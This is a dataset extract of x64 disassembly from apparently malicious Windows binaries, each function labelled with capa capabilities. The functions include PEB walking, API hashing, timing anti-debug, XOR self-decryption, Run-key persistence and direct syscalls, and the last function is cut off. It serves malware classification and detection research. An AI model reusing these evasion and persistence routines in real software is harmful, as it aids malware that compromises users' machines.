joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18056b058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.18056b1df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x18056b089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x18056b06f
add dl, dl
jne 0x18056b096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x18056b0f6
xor eax, eax
add dl, dl
jne 0x18056b0a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x18056b1ad
add dl, dl
jne 0x18056b0b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x18056b0c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x18056b0d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x18056b0dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x18056b0ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x18056b07e
mov eax, 1
add dl, dl
jne 0x18056b106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x18056b113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x18056b0fb
sub eax, ebx
mov ebx, 1
jne 0x18056b14c
mov ecx, 1
add dl, dl
jne 0x18056b12e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x18056b13b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x18056b123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x18056b07e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x18056b168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x18056b175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x18056b15d
cmp eax, 0x7d00
jae 0x18056b19b
cmp eax, 0x500
jb 0x18056b196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x18056b07e
cmp eax, 0x7f
ja 0x18056b19e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x18056b07e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x18056b1d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x18056b07e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140001114
Capabilities:
Access peb ldr_data

Disassembly:
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
add rcx, 0x20
mov rax, qword [rcx]
cmp rax, rcx
je 0x140001152
mov r8b, byte [0x140002011]
mov r9b, byte [str.KERNEL32.DLL]
mov rdx, qword [rax + 0x50]
cmp byte [rdx], r9b
jne 0x14000114a
cmp byte [rdx + 1], r8b
je 0x140001155
mov rax, qword [rax]
cmp rax, rcx
jne 0x14000113b
xor eax, eax
ret
mov rax, qword [rax + 0x20]
ret

Function at 0x14000115c
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
movsxd rax, dword [rcx + 0x3c]
mov rbp, rdx
mov r10, rcx
mov r8d, dword [rax + rcx + 0x88]
xor eax, eax
add r8, rcx
mov edi, dword [r8 + 0x1c]
mov r9d, dword [r8 + 0x20]
add rdi, rcx
mov r14d, dword [r8 + 0x24]
add r9, rcx
add r14, rcx
cmp rdx, 0x10000
jae 0x1400011c5
mov r9d, dword [r8 + 0x10]
movzx edx, bp
cmp edx, r9d
jb 0x14000120e
mov ecx, dword [r8 + 0x14]
add ecx, r9d
cmp edx, ecx
jae 0x14000120e
sub edx, r9d
mov eax, dword [rdi + rdx*4]
jmp 0x14000120b
mov esi, dword [r8 + 0x18]
mov ecx, eax
test esi, esi
je 0x14000120e
mov r8d, dword [r9]
mov rdx, rbp
add r8, r10
sub r8, rbp
movzx r11d, byte [rdx]
movzx ebx, byte [rdx + r8]
sub r11d, ebx
jne 0x1400011f0
inc rdx
test ebx, ebx
jne 0x1400011db
test r11d, r11d
je 0x140001201
inc ecx
add r9, 4
cmp ecx, esi
jb 0x1400011cf
jmp 0x14000120e
mov eax, ecx
movzx ecx, word [r14 + rax*2]
mov eax, dword [rdi + rcx*4]
add rax, r10
mov rbx, qword [rsp + 0x10]
mov rbp, qword [rsp + 0x18]
mov rsi, qword [rsp + 0x20]
mov rdi, qword [rsp + 0x28]
pop r14
ret
Function at 0x140001228
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r13
push r14
sub rsp, 0x50
call qword [sym.imp.WINMM.dll_timeGetTime]
mov ebx, eax
call qword [sym.imp.WINMM.dll_timeGetTime]
mov r12d, 0x4268
jmp 0x140001261
call qword [sym.imp.WINMM.dll_timeGetTime]
sub eax, ebx
cmp eax, r12d
jb 0x14000125b
xor ecx, ecx
lea rdx, section..data
lea r13, str..rdata.zzzssxdbg
lea r14d, [rcx + 1]
mov eax, ecx
add ecx, r14d
and eax, 0xf
mov al, byte [rax + r13]
xor byte [rdx], al
add rdx, r14
cmp ecx, 0xf
jl 0x14000127c
xor ecx, ecx
lea rdx, [0x140003050]
mov eax, ecx
add ecx, r14d
and eax, 0xf
mov al, byte [rax + r13]
xor byte [rdx], al
add rdx, r14
cmp ecx, 0x13
jl 0x14000129b
xor ecx, ecx
lea rdx, [0x140003010]
mov eax, ecx
add ecx, r14d
and eax, 0xf
mov al, byte [rax + r13]
xor byte [rdx], al
add rdx, r14
cmp ecx, 0x11
jl 0x1400012ba
xor ecx, ecx
lea rdx, [0x140003030]
mov eax, ecx
add ecx, r14d
and eax, 0xf
mov al, byte [rax + r13]
xor byte [rdx], al
add rdx, r14
cmp ecx, 0x13
jl 0x1400012d9
call qword [sym.imp.WINMM.dll_timeGetTime]
mov ebx, eax
call qword [sym.imp.WINMM.dll_timeGetTime]
sub eax, ebx
cmp eax, r12d
jb 0x1400012f7
call fcn.140001114
lea rdx, [0x140003050]
mov rcx, rax
mov rbx, rax
call fcn.14000115c
lea rdx, [0x140003010]
mov rcx, rbx
mov rbp, rax
call fcn.14000115c
lea rdx, [0x140003030]
mov rcx, rbx
mov rdi, rax
call fcn.14000115c
mov rsi, rax
call qword [sym.imp.WINMM.dll_timeGetTime]
mov ebx, eax
call qword [sym.imp.WINMM.dll_timeGetTime]
sub eax, ebx
cmp eax, r12d
jb 0x14000134a
and dword [rsp + 0x40], 0
lea rax, [rsp + 0x40]
mov r9d, 0x40
mov qword [rsp + 0x20], rax
mov r8d, 0x114
lea rdx, section..text
or rcx, 0xffffffffffffffff
call rdi
call qword [sym.imp.WINMM.dll_timeGetTime]
mov ebx, eax
call qword [sym.imp.WINMM.dll_timeGetTime]
sub eax, ebx
cmp eax, r12d
jb 0x140001387
lea rbx, section..text
xor ecx, ecx
mov rdx, rbx
mov r8d, 0x114
mov eax, ecx
add ecx, r14d
and eax, 0xf
mov al, byte [rax + r13]
xor byte [rdx], al
add rdx, r14
cmp ecx, r8d
jl 0x1400013a6
lea rax, [rsp + 0x48]
mov r9, r8
or r14, 0xffffffffffffffff
mov qword [rsp + 0x20], rax
mov rcx, r14
mov r8, rbx
mov rdx, rbx
call rbp
lea rax, [rsp + 0x40]
mov r8d, 0x114
lea r9d, [r14 + 0x21]
mov qword [rsp + 0x20], rax
mov rdx, rbx
mov rcx, r14
call rdi
call qword [sym.imp.WINMM.dll_timeGetTime]
mov ebx, eax
call qword [sym.imp.WINMM.dll_timeGetTime]
sub eax, ebx
cmp eax, r12d
jb 0x1400013fc
and dword [rsp + 0x44], 0
lea rax, [rsp + 0x44]
mov qword [rsp + 0x30], rax
lea r9, section..text
and dword [rsp + 0x28], 0
xor r8d, r8d
and qword [rsp + 0x20], 0
xor edx, edx
mov rcx, r14
call rsi
lea r11, [rsp + 0x50]
xor eax, eax
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop r13
pop r12
ret
Function at 0x180002860
Capabilities:
Access peb ldr_data

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbp
push rbx
cmp dword [0x180020a94], 0xa
jl 0x180002892
mov eax, dword [0x180020a98]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
je 0x180002892
nop word cs:[rax + rax]
nop
jmp 0x180002890
mov rax, qword gs:[0x60]
mov r11, qword [rax + 0x18]
add r11, 0x10
mov eax, dword [0x180020a80]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
cmp dword [0x180020a7c], 0xa
setl r8b
or r8b, al
mov eax, dword [0x180020a9c]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
cmp dword [0x180020aa0], 0xa
setl r9b
or r9b, al
lea r10, [rcx - 1]
xor eax, eax
mov r14, r11
mov r14, qword [r14]
cmp r14, r11
je 0x18000298c
mov rsi, r10
test r8b, r8b
je 0x1800029a0
nop word cs:[rax + rax]
nop
cmp byte [rsi + 1], 0
lea rsi, [rsi + 1]
jne 0x180002910
test r9b, r9b
je 0x1800029b0
sub rsi, rcx
je 0x180002988
mov r15, qword [r14 + 0x60]
xor ebx, ebx
nop
movzx edx, word [r15 + rbx*2]
movsx edi, byte [rcx + rbx]
lea r12d, [rdx - 0x41]
lea ebp, [rdx + 0x20]
cmp r12w, 0x1a
cmovae ebp, edx
cmp edi, 0x41
jl 0x18000295c
lea r12d, [rdi + 0x20]
cmp dil, 0x5b
cmovge r12d, edi
mov edi, r12d
sub ebp, edi
test dx, dx
je 0x180002980
test ebp, ebp
jne 0x180002980
add rbx, 1
cmp rsi, rbx
jne 0x180002930
jmp 0x180002988
test ebp, ebp
jne 0x1800028ec
mov rax, qword [r14 + 0x30]
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
jmp 0x1800029a0
jmp 0x1800029b0
Function at 0x140001154
Capabilities:
Terminate process

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x70
mov qword [rbp - 0x10], 0
mov dword [rbp - 0x1c], 0x30
mov eax, dword [rbp - 0x1c]
mov rax, qword gs:[rax]
mov qword [rbp - 0x28], rax
mov rax, qword [rbp - 0x28]
mov rax, qword [rax + 8]
mov qword [rbp - 0x18], rax
mov dword [rbp - 4], 0
jmp 0x1400011ac
mov rax, qword [rbp - 0x10]
cmp rax, qword [rbp - 0x18]
jne 0x14000119e
mov dword [rbp - 4], 1
jmp 0x1400011e3
mov ecx, 0x3e8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [0x140007950]
mov qword [rbp - 0x30], rax
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x40], 0
mov rcx, qword [rbp - 0x38]
mov rax, qword [rbp - 0x40]
mov rdx, qword [rbp - 0x30]
lock cmpxchg qword [rdx], rcx
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
jne 0x14000118b
mov rax, qword [0x140007960]
mov eax, dword [rax]
cmp eax, 1
jne 0x1400011fd
mov ecx, 0x1f
call sym._amsg_exit
jmp 0x14000123c
mov rax, qword [0x140007960]
mov eax, dword [rax]
test eax, eax
jne 0x140001232
mov rax, qword [0x140007960]
mov dword [rax], 1
mov rax, qword [0x1400079a0]
mov rdx, rax
mov rax, qword [0x140007990]
mov rcx, rax
call sym._initterm
jmp 0x14000123c
mov dword [0x14000c024], 1
mov rax, qword [0x140007960]
mov eax, dword [rax]
cmp eax, 1
jne 0x140001270
mov rax, qword [0x140007980]
mov rdx, rax
mov rax, qword [0x140007970]
mov rcx, rax
call sym._initterm
mov rax, qword [0x140007960]
mov dword [rax], 2
cmp dword [rbp - 4], 0
jne 0x140001294
mov rax, qword [0x140007950]
mov qword [rbp - 0x48], rax
mov qword [rbp - 0x50], 0
mov rdx, qword [rbp - 0x50]
mov rax, qword [rbp - 0x48]
xchg qword [rax], rdx
mov rax, qword [0x1400078a0]
mov rax, qword [rax]
test rax, rax
je 0x1400012bf
mov rax, qword [0x1400078a0]
mov rax, qword [rax]
mov r8d, 0
mov edx, 2
mov ecx, 0
call rax
call sym._pei386_runtime_relocator
mov rax, qword [sym._gnu_exception_handler]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
call rax
mov rdx, qword [0x140007940]
mov qword [rdx], rax
lea rax, [sym.__mingw_invalidParameterHandler]
mov rcx, rax
call sym._set_invalid_parameter_handler
call sym._fpreset
mov eax, dword [0x14000c004]
lea rdx, [0x14000c008]
mov ecx, eax
call sym.duplicate_ppstrings
call sym.__main
mov rax, qword [0x1400078d0]
mov rax, qword [rax]
mov rdx, qword [0x14000c010]
mov qword [rax], rdx
mov rcx, qword [0x14000c010]
mov rdx, qword [0x14000c008]
mov eax, dword [0x14000c004]
mov r8, rcx
mov ecx, eax
call sym.main
mov dword [0x14000c01c], eax
mov eax, dword [0x14000c020]
test eax, eax
jne 0x14000135d
mov eax, dword [0x14000c01c]
mov ecx, eax
call sym.exit
mov eax, dword [0x14000c024]
test eax, eax
jne 0x14000136c
call sym._cexit
mov eax, dword [0x14000c01c]
add rsp, 0x70
pop rbp
ret
Function at 0x140001378
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, qword [0x140007900]
mov dword [rax], 1
mov rax, qword [0x140007910]
mov dword [rax], 1
mov rax, qword [0x140007920]
mov dword [rax], 1
mov rax, qword [0x1400078c0]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1400013c9
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x1400013f5
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x10b
je 0x14000141b
cmp eax, 0x20b
je 0x140001442
jmp 0x140001471
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x5c]
cmp eax, 0xe
ja 0x14000142e
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x6c]
cmp eax, 0xe
ja 0x14000145d
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov eax, 0
add rsp, 0x20
pop rbp
ret

Function at 0x1400016d0
Capabilities:
Get hostname

Disassembly:
push rbp
push rbx
sub rsp, 0x58
lea rbp, [rsp + 0x50]
mov qword [rbp + 0x20], rcx
mov dword [rbp - 0x24], 0x10
lea rdx, [rbp - 0x24]
lea rax, [rbp - 0x20]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetComputerNameA]
call rax
test eax, eax
sete al
test al, al
je 0x140001744
lea rax, str.Erreur_lors_de_la_rcupration_du_nom_de_lordianteur_:
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cerr]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rbx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
mov rcx, rbx
call sym.std::ostream::operator___unsigned_long_
mov rcx, rax
mov rax, qword [0x140007850]
mov rdx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
lea rax, [rbp - 9]
mov qword [rbp - 8], rax
nop
nop
lea rcx, [rbp - 9]
lea rdx, [rbp - 0x20]
mov rax, qword [rbp + 0x20]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp - 9]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
jmp 0x14000178f
mov rax, qword [rbp + 0x20]
add rsp, 0x58
pop rbx
pop rbp
ret
Function at 0x140001eef
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
lea rax, [rbp - 8]
mov r8, rax
lea rax, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rdx, rax
mov rcx, 0xffffffff80000001
mov rax, qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
call rax
mov rax, qword [rbp - 8]
mov dword [rsp + 0x28], 0x20
lea rdx, str.C:My_heart.exe
mov qword [rsp + 0x20], rdx
mov r9d, 1
mov r8d, 0
lea rdx, [0x14000726c]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
call rax
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
nop
add rsp, 0x40
pop rbp
ret
Function at 0x140002760
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sym.__acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sym.fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sym.__acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call sym.vfprintf
call sym.abort
nop

Function at 0x140003432
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x14000c168]
test eax, eax
je 0x1400034ca
lea rax, [0x14000c140]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x14000c170]
mov qword [rbp - 8], rax
jmp 0x1400034ae
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x1400034a2
cmp qword [rbp - 0x10], 0
je 0x1400034a2
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x140003468
lea rax, [0x14000c140]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x1400034cb
nop
add rsp, 0x30
pop rbp
ret

Function at 0x1400035d0
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1400035f8
mov eax, 0
jmp 0x140003646
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x140003621
mov eax, 0
jmp 0x140003646
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x140003641
mov eax, 0
jmp 0x140003646
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x14000364c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x1400036ca
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x1400036c1
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x1400036c1
mov rax, qword [rbp - 8]
jmp 0x1400036df
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x140003694
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x1400040e0
Capabilities:
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
mov rbp, r8
mov r14, rdx
mov rdi, rcx
test r8, r8
jg 0x14000410e
xor eax, eax
jmp 0x1400041f6
cmp qword [rcx + 0x68], 0
je 0x14000411f
call fcn.1400048e0
jmp 0x1400041f6
mov rax, qword [rcx + 0x38]
mov rsi, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x140004136
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x140004138
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x14000416a
cmp rax, rbp
mov rbx, rbp
mov rcx, r14
cmovb rbx, rax
mov r8, rbx
call sub.msvcrt.dll_memcpy
mov rax, qword [rdi + 0x50]
add r14, rbx
sub rsi, rbx
sub dword [rax], ebx
mov rcx, qword [rdi + 0x38]
movsxd rax, ebx
add qword [rcx], rax
cmp qword [rdi + 0x80], 0
je 0x1400041f0
mov r8, qword [rdi + 0x18]
lea rax, [rdi + 0x70]
cmp qword [r8], rax
jne 0x1400041a1
mov rcx, qword [rdi + 0x88]
mov rdx, qword [rdi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rdi + 0x38]
mov qword [rax], rcx
mov rax, qword [rdi + 0x50]
mov dword [rax], edx
mov ebx, 0xfff
jmp 0x1400041cb
mov r9, qword [rdi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.msvcrt.dll_fread]
add r14, rax
sub rsi, rax
cmp rax, rbx
jne 0x1400041f0
cmp rsi, rbx
ja 0x1400041a8
test rsi, rsi
je 0x1400041f0
mov r9, qword [rdi + 0x80]
mov r8, rsi
mov edx, 1
mov rcx, r14
call qword [sym.imp.msvcrt.dll_fread]
sub rsi, rax
sub rbp, rsi
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
Function at 0x140006a58
Capabilities:
Access peb ldr_data
Encode data using xor
Get ntdll base address
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r13
push r14
cmp dword [0x140017240], 0
jne 0x140006c08
mov rax, qword gs:[0x60]
xor edx, edx
mov rcx, qword [rax + 0x18]
mov r9, qword [rcx + 0x10]
mov rax, qword [r9 + 0x30]
test rax, rax
je 0x140006c26
mov r10d, 0x20202020
mov r8, rax
movsxd rax, dword [rax + 0x3c]
mov ecx, dword [rax + r8 + 0x88]
test ecx, ecx
je 0x140006ad9
lea rdx, [r8 + rcx]
mov ecx, dword [rdx + 0xc]
mov eax, dword [rcx + r8]
or eax, r10d
cmp eax, 0x6c64746e
jne 0x140006ad9
mov eax, dword [rcx + r8 + 4]
or eax, r10d
cmp eax, 0x6c642e6c
je 0x140006ae5
mov r9, qword [r9]
mov rax, qword [r9 + 0x30]
test rax, rax
jne 0x140006aa2
test rdx, rdx
je 0x140006c26
mov edi, dword [rdx + 0x1c]
lea r13, [0x140017240]
mov r11d, dword [rdx + 0x20]
add rdi, r8
mov esi, dword [rdx + 0x24]
add r11, r8
mov ebx, dword [rdx + 0x18]
add rsi, r8
xor edx, edx
lea eax, [rbx - 1]
mov r9d, dword [r11 + rax*4]
mov ebx, eax
add r9, r8
mov r14d, eax
mov eax, 0x775a
cmp word [r9], ax
jne 0x140006b78
xor ebp, ebp
mov r10d, 0x75776791
cmp byte [r9], bpl
je 0x140006b51
mov rax, r9
movzx eax, word [rax]
mov ecx, r10d
ror ecx, 8
inc ebp
add ecx, eax
mov eax, ebp
add rax, r9
xor r10d, ecx
cmp byte [rax], 0
jne 0x140006b37
mov ecx, edx
inc edx
add rcx, rcx
mov dword [r13 + rcx*8 + 8], r10d
movzx eax, word [rsi + r14*2]
mov eax, dword [rdi + rax*4]
and qword [r13 + rcx*8 + 0x10], 0
mov dword [r13 + rcx*8 + 0xc], eax
cmp edx, 0x258
je 0x140006b7c
test ebx, ebx
jne 0x140006b0d
xor r8d, r8d
mov dword [0x140017240], edx
lea eax, [rdx - 1]
test eax, eax
je 0x140006c08
mov eax, edx
xor ecx, ecx
sub eax, r8d
cmp eax, 1
je 0x140006bfd
lea r11d, [rcx + 1]
mov r10d, ecx
add r10, r10
mov r9d, r11d
add r9, r9
mov edi, dword [r13 + r10*8 + 0xc]
mov ebx, dword [r13 + r9*8 + 0xc]
cmp edi, ebx
jbe 0x140006bee
mov edx, dword [r13 + r10*8 + 8]
mov eax, dword [r13 + r9*8 + 8]
mov rcx, qword [r13 + r10*8 + 0x10]
mov dword [r13 + r10*8 + 8], eax
mov rax, qword [r13 + r9*8 + 0x10]
mov qword [r13 + r10*8 + 0x10], rax
mov dword [r13 + r10*8 + 0xc], ebx
mov dword [r13 + r9*8 + 8], edx
mov dword [r13 + r9*8 + 0xc], edi
mov qword [r13 + r9*8 + 0x10], rcx
mov edx, dword [0x140017240]
mov eax, edx
mov ecx, r11d
sub eax, r8d
dec eax
cmp r11d, eax
jb 0x140006b98
inc r8d
lea eax, [rdx - 1]
cmp r8d, eax
jb 0x140006b8c
mov eax, 1
mov rbx, qword [rsp + 0x18]
mov rbp, qword [rsp + 0x20]
mov rsi, qword [rsp + 0x28]
mov rdi, qword [rsp + 0x30]
pop r14
pop r13
ret
xor eax, eax
jmp 0x140006c0d

Function at 0x140006c70
Capabilities:
Execute syscall

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov ecx, 0x8395cb5a
call fcn.140006c2c
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret
Function at 0x1400089b0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400089fa
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400089fa
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400089fa
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400089fa
cmp dword [rcx + 0x84], 0xe
jbe 0x1400089fa
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400089fc
xor al, al
add rsp, 0x28
ret

Function at 0x140008da0
Capabilities:
Access peb ldr_data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x40
mov rbp, r9
mov r14, r8
mov rbx, rdx
mov rsi, rcx
call fcn.140009740
mov rdi, qword [rsp + 0x70]
mov qword [rax + 0x138], rbx
mov rbx, qword [rdi + 8]
call fcn.140009740
mov qword [rax + 0x128], rbx
mov rax, qword [rsi]
mov rbx, qword [rax + 0x38]
call fcn.140009740
mov ecx, dword [0x1400171f0]
mov r9, rdi
mov byte [rsp + 0x38], 1
mov r8, rbp
mov edx, 0x10
